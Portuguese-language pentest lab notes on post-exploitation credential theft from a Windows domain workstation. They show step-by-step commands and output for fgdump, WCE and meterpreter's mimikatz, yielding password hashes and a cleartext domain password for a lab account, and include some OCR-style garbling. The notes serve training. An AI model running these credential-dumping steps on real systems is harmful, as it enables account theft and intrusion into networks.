Obtendo Hashes e Senhas em Cache

+ Dessa vez a exploração do windows foi dada pelo exploit:

```
exploit/windows/smb/ms08_067_netapi
```

+ o kali tem algumas ferramentas interessantes para fazer a busca por hashes e senhas nos caches do windows. Essas ferramentas se encontram no diretório

```
/usr/share/windows-binaries
```

- → No caso, vamos pegar uma ferramenta presente no diretório fgdump chamada fgdump.exe
- + Como estamos explorando o windows com o meterpreter, vamos fazer o upload desse arquivo por meio do seguinte comando

```
uplaod /usr/share/windows-binaries/fgdump/fgdump.exe
```

+ Quando dermos um shell no meterpreter, vamos obter o acesso à shell do windows, de onde vamos executar o arquivo que mandamos, o fgdump.exe

```
C: \>fgdump.exe
```

- + Essa execução irá criar dois arquivos, o 127.0.0.1.cachedump e o 127.0.0.1.pwdump
- + Para abrir um arquivo no Windows, n usamos o comando cat, usamos o type:

```
type 127.0.0.1.pwdump
```

- → Aqui podemos ver os hashes e usuários (até aq, sem novidades)
- + Se abrirmos o outro arquivo

```
type 127.0.0.1.cachedump
```

```
C:\>type 127.0.0.1.cachedump

Service not found. Installing CacheDump Service ("C:\WINDOWS\system32\config\s
CacheDump service successfully installed.

Service started.

rogerio:6C34D49FC75BAD852133885469B37529:gbusiness:gbusiness.rede

Service successfully removed.
```

- → Veja que ele trouxe outro usuário. Isso acontece justamente pela máquina estar em domínio.
- + Se dermos um ipconfig /all

```
C:\>ipconfig /all
ipconfig /all
Configura��o de IP do Windows
      Nome do host . . . . . . . . . : wks01
      Sufixo DNS prim�rio. . . . . . . : gbusiness.rede
      Tipo de n� . . . . . . . . . : desconhecido
      Roteamento de IP ativado . . . . : n�o
      Proxy WINS ativado . . . . . . : n�o
      Lista de pesquisa de sufixo DNS. . : gbusiness.rede
Adaptador Ethernet REDE GRANDBUS:
      Sufixo DNS espec�fico de conex�o . :
      Descri��o . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter
      Endere to IP . . . . . . . . . . : 172.16.1.4
      M�scara de sub-rede . . . . . . : 255.255.255.0
      Gateway padr�o. . . . . . . . . : 172.16.1.1
      Servidores DNS. . . . . . . . . . . . . . . . . 172.16.1.60
                                     8.8.8.8
```

- → Esse endereço destacado normalmente é o endereço do controlador de domínio
- → O nome do domínio no caso seria o gbusiness.rede
- → Então, essa máquina é uma estação de trabalho que está conectada à um windows que a controla
- → Conclui-se que lá no windows server (no AD) foi criada a conta do rogério
- → Então ele sentou nessa sessão de trabalho e logou com a conta dele
- + Agora vamos ver algumas técnicas que nos permitirão quebrar essas senhas

 \sim

WCE

 α

+ Procuraremos o wce no kali com

locate wce

- + Além de ele trazer os hashes dos caches, ele tbm traz as senhas em textos claros
- + Faremos o upload dessa ferramenta para a raiz do windows

upload /usr/share/windows-resources/wce/wce-universal.exe c:

+ Para ver quais as opções de uso

wce-universal.exe -h

→ uma das opções de uso é a -w que serve para trazer as senhas em texto claro

```
Parameters: <password>
                        Dump Kerberos tickets t
                        Read Kerberos tickets f
                        Dump cleartext password
                        verbose output.
C:\>wce-universal.exe
wce-universal.exe
WCE v1.41beta (Windows Credentials Editor) - (c
Use -h for help.
rogerio:GBUSINESS:6EEE32CB16EB0A0E25AD3B83FA662
WKS01$:GBUSINESS:00000000000000000000000000000000
C:\>wce-universal.exe -w
wce-universal.exe -w
WCE v1.41beta (Windows Credentials Editor) - (c
Use -h for help.
Rogerio\GBUSINESS:Roger@10
NETWORK SERVICE\GBUSINESS:8[r+6U47 Jp;>.X7\YWB\
WKS01$\GBUSINESS:8[r+6U47 Jp;>.X7\YWB\ynU3V%uIj
C:/>
```

 \sim

Mimikatz

 \sim

- + O meterpreter tem módulos que também executam esse tipo de ação
- → usaremos o mimikatz. Para carregá-lo,

load mimikatz

- → já vai carregar automaticamente
- → Para visualizar as opções de ação, podemos dar um simples help

wdigest

Mimikatz Commands -----Description Command Attempt to retrieve kerberos creds. kerberos Attempt to retrieve livessp creds. livessp mimikatz_command Run a custom command. Attempt to retrieve msv creds (hashes). Attempt to retrieve ssp creds. SSP Attempt to retrieve tspkg creds. tspkg Attempt to retrieve wdigest creds. wdigest meterpreter > wdigest [+] Running as SYSTEM Retrieving wdigest credentials wdigest credentials -----AuthID Package Domain User Password Negotiate AUTORIDADE NT LOCAL SERVICE 0:997 0:48505 NTLM 0:996 Negotiate AUTORIDADE NT NETWORK SERVICE 8[r+6U47 Jp;>.X7 8[r+6U47 Jp;>.X7 0:999 Negotiate GBUSINESS WKS01\$ 0;141956 Kerberos GBUSINESS Rogerio Roger@10

→ Mimikatz tbm tem um comando

mimikatz_command

mimikatz command -f sekurlsa::wdigest -a full

→ Podemos fazer a busca por senhas tb

mimikatz command -f sekurlsa::logonPasswords

OΠ

mimikatz command -f sekurlsa::searchPasswords

```
meterpreter > mimikatz command -f sekurlsa::wdigest -a full
"0;141956", "Kerberos", "Rogerio", "GBUSINESS", "
rogerio, GBUSINESS, Roger@10"
"0;997", "Negotiate", "LOCAL SERVICE", "AUTORIDADE NT", ""
"0;996", "Negotiate", "NETWORK SERVICE", "AUTORIDADE NT", "
WKS01$,GBUSINESS,8[r+6U47 Jp;>.X7\YWB\ynU3V%uIjLW+7qlW6/kQ/.wTv/ jKcV@X6dLCyMAkuRk0)z0X2jvI6Zn5a4
"0;48505","NTLM","","",""
"0;999","Negotiate","WKS01$","GBUSINESS","
WKS01$,GBUSINESS,8[r+6U47 Jp;>.X7\YWB\ynU3V%uIjLW+7qlW6/kQ/.wTv/ jKcV@X6dLCyMAkuRk0)z0X2jvI&Zn5a4
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { WKS01$ ; GBUSINESS ; 8[r+6U47 Jp;>.X7\YWB\ynU3V%uIjLW+7qlW6/kQ/.wTv/ jKcV\0X6dLCyMAkuRk0)z0X
[1] { WKS01$; GBUSINESS; 8[r+6U47 Jp;>.X7\YWB\ynU3V%uIjLW+7qlW6/kQ/.wTv/ jKcV@X6dLCyMAkuRk0)z0X
[2] { WKS01$; GBUSINESS; 8[r+6U47 Jp;>.X7\YWB\ynU3V%uIjLW+7qlW6/kQ/.wTv/ jKcV@X6dLCyMAkuRk0)z0X
   { WKS01$; GBUSINESS; 8[r+6U47 Jp;>.X7\YWB\ynU3V%uIjLW+7qlW6/kQ/.wTv/ jKcVQX6dLCyMAkuRk0)z0X
[3]
   { WKS01$ ; GBUSINESS ; 8[r+6U47 Jp;>.X7\YWB\ynU3V%uIjLW+7q\W6/kQ/.wTv/\jKcV@X6dLCyMAkuRk0)z0X
[4]
   { WKS01$ ; GBUSINESS ; 8[r+6U47 Jp;>.X7\YWB\ynU3V%uIjLW+7qlW6/kQ/.wTv/~jKcV@X6dLCyMAkuRk0)z0X
[6] { rogerio ; GBUSINESS ; Roger@10 }
[7] { WKS01$ ; GBUSINESS ; 8[r+6U47 Jp;>.X7\YWB\ynU3V%uIjLW+7q\W6/kQ/.wTv/ jKcV\0000X6dLCyMAkuRk0)z0X3
meterpreter > mimikatz_command -f sekurlsa::logonPasswords
"0;141956", "Kerberos", "Rogerio", "GBUSINESS", "lm{ 6eee32cb16eb0a0e25ad3b83fa6627c7 }, ntlm{ 30b60e3
Rogera10"
"0;997", "Negotiate", "LOCAL SERVICE", "AUTORIDADE NT", "n.s. (Credentials KO)"
8[r+6U47 Jp;>.X7\YWB\ynU3V%uIjLW+7qlW6/kQ/.wTv/ jKcV@X6dLCyMAkuRk0)z0X2jvI&Zn5a41%9c=fmKetWx4=G;k
8[r+6U47 Jp;>.X7\YWB\ynU3V%uIjLW+7qlW6/kQ/.wTv/ jKcV@X6dLCyMAkuRk0)z0X2jvI&Zn5a41%9c=fmKetWx4=G;k
```